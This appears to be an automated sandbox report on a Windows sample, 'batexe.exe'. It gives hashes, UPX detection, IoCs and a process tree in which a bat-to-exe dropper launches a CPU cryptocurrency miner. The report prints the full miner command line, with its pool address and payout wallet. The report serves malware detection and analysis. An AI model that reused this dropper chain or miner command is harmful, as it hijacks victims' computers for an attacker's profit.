73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
289s
max time network
299s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
14/02/2024, 05:08

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4864	b2e.exe
2448	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2448	cpuminer-sse2.exe
2448	cpuminer-sse2.exe
2448	cpuminer-sse2.exe
2448	cpuminer-sse2.exe
2448	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4080-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4080 wrote to memory of 4864	4080	batexe.exe	74
PID 4080 wrote to memory of 4864	4080	batexe.exe	74
PID 4080 wrote to memory of 4864	4080	batexe.exe	74
PID 4864 wrote to memory of 824	4864	b2e.exe	75
PID 4864 wrote to memory of 824	4864	b2e.exe	75
PID 4864 wrote to memory of 824	4864	b2e.exe	75
PID 824 wrote to memory of 2448	824	cmd.exe	78
PID 824 wrote to memory of 2448	824	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4080
- C:\Users\Admin\AppData\Local\Temp\9819.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9819.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9819.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4864
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9AB9.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:824
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9819.tmp\b2e.exe

Filesize
4.2MB

MD5
ae000cc42a22d34f0f62ced05326a8cf

SHA1
436139719eb1d5592bf2ad203a8749e2c3c4d5ba

SHA256
04ddad6a939472d0653de26637571ea3410dde18607e87f25bcf759a6a257be1

SHA512
e24d02859aaef1c7f6610916f918d169ad335abd64b282c5f74aeef0603073e27bb07c71ea149a2f26dbc269ad64f71000852fbbebe322e44392fc65cec8e4d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\9819.tmp\b2e.exe

Filesize
4.0MB

MD5
61ea0fee94bdec381a28d5a7ef62720f

SHA1
b8688264cb7220151f425b363414d614574561e3

SHA256
166ebfafebd8c644d638123ece63e85a0fc34e6648779cab587d395061939cd9

SHA512
08b2a7ef27097f4e81259e4953c460457769898b78e99045ad33061505c1b53a1b8251a2d2d19ef1b1f3eaad8daa44ae29664f84f812d0aba08c79360b7eb17d

Download Submit
C:\Users\Admin\AppData\Local\Temp\9AB9.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
21.0MB

MD5
3540f23f9fbe71b1f7c94b085865b4ed

SHA1
47dcb2f22caeacff57b7efdca31f0439482e76e8

SHA256
9fefbbb94ca2e73ca14a1356fa1b4d4609d45cb22e736077f7920e3c34eb8590

SHA512
90d55e0c129778477bc0598b554a1c789caae00f288eaaefc8871ad5d98b374a1eacb606e3bca43117cde7a9cc8d69df398e0a0a43b834ba763002c6dab0017c

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
16.2MB

MD5
bd6a40eca2e30c86da85e69116f45b7b

SHA1
fd83e8a37695a865ae442d77c7d855208503b841

SHA256
cb8e1a86a01a6bf30ab5faf6f3b9f106cc1f8100d8b608ef5febcea41fe95336

SHA512
703944dd0a1b7e040a7795e0174bce7e2c2977d543499f6582be4ded89ef1150e27265c277fdfbf72cd90ce0200567ea49cf542806f894bb79513422e6214cc4

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.4MB

MD5
a278ab7f08f5ac64358de22bf1c44adf

SHA1
726e78e0f0db6b2d832d4abdbaa8b71b31a50994

SHA256
776a269e11cc3916ce822a24ddd81b5fa5d1fe892c520047b86ce1994fcd8ab7

SHA512
aabaaf7819c8d588b29643fc40151cbd4b5e815c52838c44e7208a421fd1e1146f75a8ed68f4168811d141fc5bda9596b2fb34af2da6bf5b799a59887556d3de

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2448-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2448-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2448-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2448-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2448-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2448-43-0x0000000057540000-0x00000000575D8000-memory.dmp

Filesize
608KB

Download
memory/2448-44-0x0000000001070000-0x0000000002925000-memory.dmp

Filesize
24.7MB

Download
memory/2448-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2448-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2448-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2448-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2448-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2448-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2448-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2448-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4080-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4864-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4864-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download